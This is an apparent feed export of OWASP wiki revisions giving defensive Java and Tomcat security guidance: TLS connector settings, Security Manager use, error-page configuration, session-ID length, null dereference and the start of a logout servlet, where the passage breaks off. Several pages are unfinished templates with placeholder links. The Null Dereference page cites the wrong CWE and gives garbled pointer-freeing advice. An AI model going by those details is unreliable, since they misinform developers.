=== Sample Configuration - Better Security ===&lt;br /&gt;
&lt;br /&gt;
Sacrifices compatibility for security. Supports non-blocking IO. Tested on Tomcat 7.0.54 and JVM 1.7.0_60-b19. &lt;br /&gt;
&lt;br /&gt;
Supports:&lt;br /&gt;
&lt;br /&gt;
* Android 4.4.2 and later&lt;br /&gt;
* Firefox 32 and later&lt;br /&gt;
* IE 11 and later&lt;br /&gt;
* IE Mobile 11 and later&lt;br /&gt;
* Java 8 b132&lt;br /&gt;
* Safari 7 and later&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;Connector port=&amp;quot;443&amp;quot;&lt;br /&gt;
               protocol=&amp;quot;org.apache.coyote.http11.Http11NioProtocol&amp;quot;&lt;br /&gt;
               SSLEnabled=&amp;quot;true&amp;quot;&lt;br /&gt;
               maxThreads=&amp;quot;150&amp;quot;&lt;br /&gt;
               scheme=&amp;quot;https&amp;quot;&lt;br /&gt;
               secure=&amp;quot;true&amp;quot;&lt;br /&gt;
               keystoreFile=&amp;quot;..\ssl\keystore&amp;quot;&lt;br /&gt;
               keystorePass=&amp;quot;yourpasswordgoeshere&amp;quot;&lt;br /&gt;
               clientAuth=&amp;quot;false&amp;quot;&lt;br /&gt;
               sslProtocol=&amp;quot;TLSv1.2&amp;quot;&lt;br /&gt;
               sslEnabledProtocols=&amp;quot;TLSv1.2&amp;quot;&lt;br /&gt;
               ciphers=&amp;quot;TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_256_CBC_SHA,TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_128_CBC_SHA,TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA&amp;quot;&lt;br /&gt;
    /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Java Security ==&lt;br /&gt;
&lt;br /&gt;
=== Running Tomcat with a Security Manager=== &lt;br /&gt;
The default Tomcat configuration provides good protection for most requirements, but does not prevent a malicious application from compromising the security of other applications running in the same instance.  To prevent this sort of attack, Tomcat can be run with a Security Manager enabled which strictly controls access to server resources.&lt;br /&gt;
Tomcat documentation has a good section on [http://tomcat.apache.org/tomcat-5.5-doc/security-manager-howto.html enabling the Security Manager.]&lt;br /&gt;
&lt;br /&gt;
It's always a good idea to start tomcat with the &amp;quot;-security&amp;quot; parameter. This also makes sure (among other things), that a webapplication isn't able to read/write/execute any file on the local filesystem without enabling it in the catalina.policy file. This effectively stops web shells like described [http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf here] from working.&lt;br /&gt;
&lt;br /&gt;
== Miscellaneous ==&lt;br /&gt;
&lt;br /&gt;
* [http://tomcat.apache.org/faq/security.html Tomcat Security FAQ]&lt;br /&gt;
&lt;br /&gt;
=== Using Port 80 ===&lt;br /&gt;
&lt;br /&gt;
If you are on a Windows machine you will be able to change the port attribute of the connector within the ''Catalina'' service from 8080 to 80.  This allows you to use tomcat directly to serve all requests.  Depending on your requirements it may not be good enough to serve directly from Tomcat so you may like to consider;&lt;br /&gt;
* Use IIS / Apache running on port 80 and mod_jk to proxy requests to Tomcat&lt;br /&gt;
&lt;br /&gt;
On a UNIX machine only root is allowed to run services on ports below 1024 (kernel recompilation can overcome this).  It is a very bad idea to run Tomcat as root, so the options are (in no particular order);&lt;br /&gt;
* Use Apache running on port 80 and mod_jk (or mod_proxy_ajp) to proxy requests to Tomcat&lt;br /&gt;
* Run Tomcat as root, but in a chroot jail&lt;br /&gt;
* Use a tool like authbind to enable a non root user to bind to ports below 1024&lt;br /&gt;
* Use a port forwarder such as [http://www.netfilter.org/projects/iptables/index.html Iptables] to redirect incoming requests from 8080 to 80.  This has the disadvantage that internal redirects still need to use 8080.&lt;br /&gt;
* Run [http://www.squid-cache.org/ Squid] as a web accelerator in front of Tomcat&lt;br /&gt;
* Use JSVC/procrun&lt;br /&gt;
Each of the above options '''may''' bring extra security concerns which are outside the scope of this document.&lt;br /&gt;
&lt;br /&gt;
=== Cleartext Passwords in CATALINA_HOME/conf/server.xml ===&lt;br /&gt;
&lt;br /&gt;
When configuring a resource, such as a JDBC pool, it is necessary to include clear text username and password in CATALINA_HOME/conf/server.xml  Best practices advice us never to store clear text passwords, but the following paragraphs highlight it is very difficult to avoid.&lt;br /&gt;
&lt;br /&gt;
If one way encryption was used on the password it must be possible for a database connection to be established using a username and encrypted password - so the encrypted password is just as valuable as the clear text one to an attacker.&lt;br /&gt;
&lt;br /&gt;
If two way encryption was used a keyfile is needed which must also live on the filesystem.  To make it more secure a passphase is added to the keyfile which then has to be stored in the configuration as clear text - no improvement.&lt;br /&gt;
&lt;br /&gt;
Encoding is security by obscurity and offers no form of protection (algorithms can be reverse engineered).  What encoding does do is make huge amounts of overhead work - you need to customise Tomcat and the commons digester it uses to parse the config files.  You'd also need a way to create encoded passwords.&lt;br /&gt;
&lt;br /&gt;
In the case of a JDBC pool what you can do is;&lt;br /&gt;
* make sure the database user only has access to the databases and tables they need (also limit rights as necessary).&lt;br /&gt;
* make sure the raw database files are only accessible to the user running the database services (e.g. mysql/postgresql user)&lt;br /&gt;
* make sure the Tomcat configuration files are only accessible to the tomcat user&lt;br /&gt;
&lt;br /&gt;
==Acknowledgements==&lt;br /&gt;
The author would like to thank Kris Easter, Michel Prunet and Stephen More for their valuable input.&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Servlet_spec_-_web.xml&amp;diff=235287</id>
		<title>Servlet spec - web.xml</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Servlet_spec_-_web.xml&amp;diff=235287"/>
				<updated>2017-11-10T21:47:40Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Released on (mm/dd/yyyy) : 02/06/2012&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
JEE web specification provides a way to configure, declaratively in the web deployment descriptor (&amp;quot;web.xml&amp;quot; file), the web app. behavior when an exception occur in a web component.&lt;br /&gt;
&lt;br /&gt;
Behavior can be configured to react on elements below to display a resource:&lt;br /&gt;
* Java exception&lt;br /&gt;
* HTTP response code&lt;br /&gt;
&lt;br /&gt;
==Possible configurations==&lt;br /&gt;
Configuration below redirect user to page &amp;quot;/errorManagement.jsp&amp;quot; when an error occur.&lt;br /&gt;
&lt;br /&gt;
'''Configuration to react on Java exception'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;web-app xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&lt;br /&gt;
	xmlns=&amp;quot;http://java.sun.com/xml/ns/javaee&amp;quot; xmlns:web=&amp;quot;http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd&amp;quot;&lt;br /&gt;
	xsi:schemaLocation=&amp;quot;http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd&amp;quot;&lt;br /&gt;
	id=&amp;quot;WebApp_ID&amp;quot; version=&amp;quot;3.0&amp;quot;&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	...&lt;br /&gt;
	&lt;br /&gt;
	&amp;lt;!-- Define error page to react on Java exception --&amp;gt;&lt;br /&gt;
	&amp;lt;error-page&amp;gt;&lt;br /&gt;
		&amp;lt;exception-type&amp;gt;java.lang.Throwable&amp;lt;/exception-type&amp;gt;&lt;br /&gt;
		&amp;lt;location&amp;gt;/errorManagement.jsp&amp;lt;/location&amp;gt;&lt;br /&gt;
	&amp;lt;/error-page&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	...	&lt;br /&gt;
	&lt;br /&gt;
&amp;lt;/web-app&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Configuration to react on HTTP response code'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;web-app xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&lt;br /&gt;
	xmlns=&amp;quot;http://java.sun.com/xml/ns/javaee&amp;quot; xmlns:web=&amp;quot;http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd&amp;quot;&lt;br /&gt;
	xsi:schemaLocation=&amp;quot;http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd&amp;quot;&lt;br /&gt;
	id=&amp;quot;WebApp_ID&amp;quot; version=&amp;quot;3.0&amp;quot;&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	...&lt;br /&gt;
	&lt;br /&gt;
	&amp;lt;!-- Define error page to react on HTTP response code --&amp;gt;&lt;br /&gt;
	&amp;lt;error-page&amp;gt;&lt;br /&gt;
		&amp;lt;error-code&amp;gt;500&amp;lt;/error-code&amp;gt;&lt;br /&gt;
		&amp;lt;location&amp;gt;/errorManagement.jsp&amp;lt;/location&amp;gt;&lt;br /&gt;
	&amp;lt;/error-page&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	...	&lt;br /&gt;
	&lt;br /&gt;
&amp;lt;/web-app&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Content of the error management page'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot; ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;%@ page language=&amp;quot;java&amp;quot; &lt;br /&gt;
	contentType=&amp;quot;text/html; charset=ISO-8859-1&amp;quot;&lt;br /&gt;
	pageEncoding=&amp;quot;ISO-8859-1&amp;quot; &lt;br /&gt;
	isErrorPage=&amp;quot;true&amp;quot;%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=ISO-8859-1&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;Page to manage error&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
	&amp;lt;%-- Log error on server side --%&amp;gt;&lt;br /&gt;
	&amp;lt;%&lt;br /&gt;
		//When the page attribute &amp;quot;isErrorPage&amp;quot; is set to &amp;quot;true&amp;quot; the exception object is available&lt;br /&gt;
		System.err.println(&amp;quot;Error : &amp;quot; + exception.getMessage());&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;%-- Display generic error to client --%&amp;gt;&lt;br /&gt;
	&amp;lt;b&amp;gt;An error occur !&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Best practice==&lt;br /&gt;
In order to don't miss any server error, it's a best practice to define a java exception based error page and set exception type to &amp;quot;java.lang.Exception&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Insufficient_Session-ID_Length&amp;diff=235256</id>
		<title>Insufficient Session-ID Length</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Insufficient_Session-ID_Length&amp;diff=235256"/>
				<updated>2017-11-10T11:48:34Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Session identifiers should be at least 128 bits long to prevent brute-force session guessing attacks.&lt;br /&gt;
&lt;br /&gt;
The WebLogic deployment descriptor should specify a session identifier length of at least 128 bits. A shorter session identifier leaves the application open to brute-force session guessing attacks. If an attacker can guess an authenticated user's session identifier, he can take over the user's session. The remainder of this explanation will detail a back-of-the-envelope justification for a 128 bit session identifier.&lt;br /&gt;
&lt;br /&gt;
The expected number of seconds required to guess a valid session identifier is given by the equation:&lt;br /&gt;
&lt;br /&gt;
[[image:session_id_guessing.gif]]&lt;br /&gt;
&lt;br /&gt;
Where:&lt;br /&gt;
&lt;br /&gt;
*B is the number of bits of entropy in the session identifier &lt;br /&gt;
*A is the number of guesses an attacker can try each second &lt;br /&gt;
*S is the number of valid session identifiers that are valid and available to be guessed at any given time &lt;br /&gt;
&lt;br /&gt;
The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.&lt;br /&gt;
&lt;br /&gt;
If attackers use a botnet with hundreds or thousands of drone computers, it is reasonable to assume that they could attempt tens of thousands of guesses per second. If the web site in question is large and popular, a high volume of guessing might go unnoticed for some time.&lt;br /&gt;
&lt;br /&gt;
A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.)&lt;br /&gt;
&lt;br /&gt;
With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is about 7 minutes.  (32bit = 4294967296 / 10.000 = 429496. At 1000 attempts per second that is 429 seconds or 7.15 minutes.)&lt;br /&gt;
&lt;br /&gt;
Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* Attackers that are try to obtain a valid session ID for [[Session hijacking attack|Session hijacking]].&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Brute force attack]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link doesn't exist&lt;br /&gt;
&lt;br /&gt;
* Insufficient cryptographic key length]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Session Management]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Deployment]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Environmental Vulnerability]]&lt;br /&gt;
[[Category:Session Management Vulnerability]]&lt;br /&gt;
[[Category:Cryptographic Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link doesn't exist]]&lt;br /&gt;
&lt;br /&gt;
[[Category:WebLogic]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Null_Dereference&amp;diff=235255</id>
		<title>Null Dereference</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Null_Dereference&amp;diff=235255"/>
				<updated>2017-11-10T11:48:26Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
=Description=&lt;br /&gt;
The program can potentially dereference a null pointer, thereby raising a NullPointerException. Null pointer errors are usually the result of one or more programmer assumptions being violated. Most null pointer issues result in general software reliability problems, but if an attacker can intentionally trigger a null pointer dereference, the attacker might be able to use the resulting exception to bypass security logic or to cause the application to reveal debugging information that will be valuable in planning subsequent attacks.&lt;br /&gt;
&lt;br /&gt;
A null-pointer dereference takes place when a pointer with a value of NULL is used as though it pointed to a valid memory area.&lt;br /&gt;
&lt;br /&gt;
Null-pointer dereferences, while common, can generally be found and corrected in a simple way. They will always result in the crash of the process, unless exception handling (on some platforms) is invoked, and even then, little can be done to salvage the process.&lt;br /&gt;
&lt;br /&gt;
= Consequences =&lt;br /&gt;
&lt;br /&gt;
* Availability: Null-pointer dereferences invariably result in the failure of the process.&lt;br /&gt;
&lt;br /&gt;
= Exposure period =&lt;br /&gt;
&lt;br /&gt;
* Requirements specification: The choice could be made to use a language that is not susceptible to these issues. &lt;br /&gt;
* Implementation: Proper sanity checks at implementation time can serve to prevent null-pointer dereferences&lt;br /&gt;
&lt;br /&gt;
= Platform =&lt;br /&gt;
&lt;br /&gt;
* Languages: C, C++, Java, Assembly&lt;br /&gt;
* Platforms: All&lt;br /&gt;
&lt;br /&gt;
= Examples =&lt;br /&gt;
&lt;br /&gt;
== Example 1 ==&lt;br /&gt;
&lt;br /&gt;
In the following code, the programmer assumes that the system always has a property named &amp;quot;cmd&amp;quot; defined. If an attacker can control the program's environment so that &amp;quot;cmd&amp;quot; is not defined, the program throws a null pointer exception when it attempts to call the trim() method.&lt;br /&gt;
&lt;br /&gt;
	String cmd = System.getProperty(&amp;quot;cmd&amp;quot;);&lt;br /&gt;
	cmd = cmd.trim();&lt;br /&gt;
&lt;br /&gt;
== Example 2 ==&lt;br /&gt;
&lt;br /&gt;
Null-pointer dereference issues can occur through a number of flaws, including race conditions and simple programming omissions. While there are no complete fixes aside from contentious programming, the following steps will go a long way to ensure that null-pointer dereferences do not occur.&lt;br /&gt;
&lt;br /&gt;
Before using a pointer, ensure that it is not equal to NULL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if (pointer1 != NULL) {&lt;br /&gt;
  /* make use of pointer1 */&lt;br /&gt;
  /* ... */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When freeing pointers, ensure they are not set to NULL, and be sure to set them to NULL once they are freed:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if (pointer1 != NULL) {&lt;br /&gt;
  free(pointer1);&lt;br /&gt;
  pointer1 = NULL;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you are working with a multi-threaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.&lt;br /&gt;
&lt;br /&gt;
= Related [[Vulnerabilities]] =&lt;br /&gt;
&lt;br /&gt;
* [[Miscalculated null termination]]&lt;br /&gt;
* [[State synchronization error]]&lt;br /&gt;
&lt;br /&gt;
= Related [[Controls]] =&lt;br /&gt;
&lt;br /&gt;
* Requirements specification: The choice could be made to use a language that is not susceptible to these issues. &lt;br /&gt;
* Implementation: If all pointers that could have been modified are sanity-checked previous to use, nearly all null-pointer dereferences can be prevented.&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;br /&gt;
&lt;br /&gt;
[[Category:Code Quality Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mobile_Java_Security&amp;diff=235254</id>
		<title>Mobile Java Security</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mobile_Java_Security&amp;diff=235254"/>
				<updated>2017-11-10T11:48:19Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Presentations ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/images/6/60/Owasp_security4mobileJava.pdf Dependability for Java Mobile Code] - Pierre Parrend.&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
 &lt;br /&gt;
The recent increase of connected hand-held devices, through which the users access to the Internet and communicate with others, introduces a major programming model shift: applications are not only provided in a classical client-server fashion, but can also be loaded as mobile code on the end device. Consequently, new security threats arise: Malicious code can be hidden in the loaded code, and executed inside the device. A new approach to security is thus necessary: Dependability must be guaranteed, i.e. both usual security properties (Authentication, Integrity, Confidentiality) and robustness, so as to explicitly prevent DoS attacks.&lt;br /&gt;
&lt;br /&gt;
The state of the art of security for Java Mobile Code (MIDP and OSGi) is presented, as well as our research work on dependability in the context of the OSGi Platform.&lt;br /&gt;
&lt;br /&gt;
This presentation is the support for a talk that has been given for the [[Switzerland|OWASP Switzerland Local Chapter]], the 24th of July, 2007.&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Missing_Error_Handling&amp;diff=235253</id>
		<title>Missing Error Handling</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Missing_Error_Handling&amp;diff=235253"/>
				<updated>2017-11-10T11:48:04Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
A web application must define a default error page for 404 errors, 500 errors, and to catch java.lang. Throwable exceptions prevent attackers from mining information from the application container's built-in error response.&lt;br /&gt;
&lt;br /&gt;
When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks. If the application shows the attacker a stack trace, it relinquishes information that makes the attacker's job significantly easier. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.&lt;br /&gt;
&lt;br /&gt;
The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
An &amp;quot;HTTP 404 - File not found&amp;quot; error tells an attacker that the requested file doesn't exist rather than that he doesn't have access to the file. This can help the attacker to decide his next step.&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Error Handling]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Deployment]]&lt;br /&gt;
[[Category:Environmental Vulnerability]]&lt;br /&gt;
[[Category:Error Handling Vulnerability]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Logout&amp;diff=235252</id>
		<title>Logout</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Logout&amp;diff=235252"/>
				<updated>2017-11-10T11:48:00Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Released on (mm/dd/yyyy) : 01/20/2012&lt;br /&gt;
&lt;br /&gt;
==Objective of session logout process==&lt;br /&gt;
Session logout have to objective to cancel conversation established between the browser and the web server. We means here, by conversation, several browser request and response that has been linked between them.&lt;br /&gt;
&lt;br /&gt;
==Steps of session logout process==&lt;br /&gt;
Logout is composed by 2 steps:&lt;br /&gt;
# Invalidate user session (indicate to web server that the session is not used anymore).&lt;br /&gt;
# Cancel cookie send by the web server to track user session (and also all cookies sent by web application, this, in order to have a global clean state).&lt;br /&gt;
&lt;br /&gt;
==Code sample of session logout process==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package org.owasp.javaproject.logout;&lt;br /&gt;
&lt;br /&gt;
import java.io.IOException;&lt;br /&gt;
import javax.servlet.ServletException;&lt;br /&gt;
import javax.servlet.annotation.WebServlet;&lt;br /&gt;
import javax.servlet.http.Cookie;&lt;br /&gt;
import javax.servlet.http.HttpServlet;&lt;br /&gt;
import javax.servlet.http.HttpServletRequest;&lt;br /&gt;
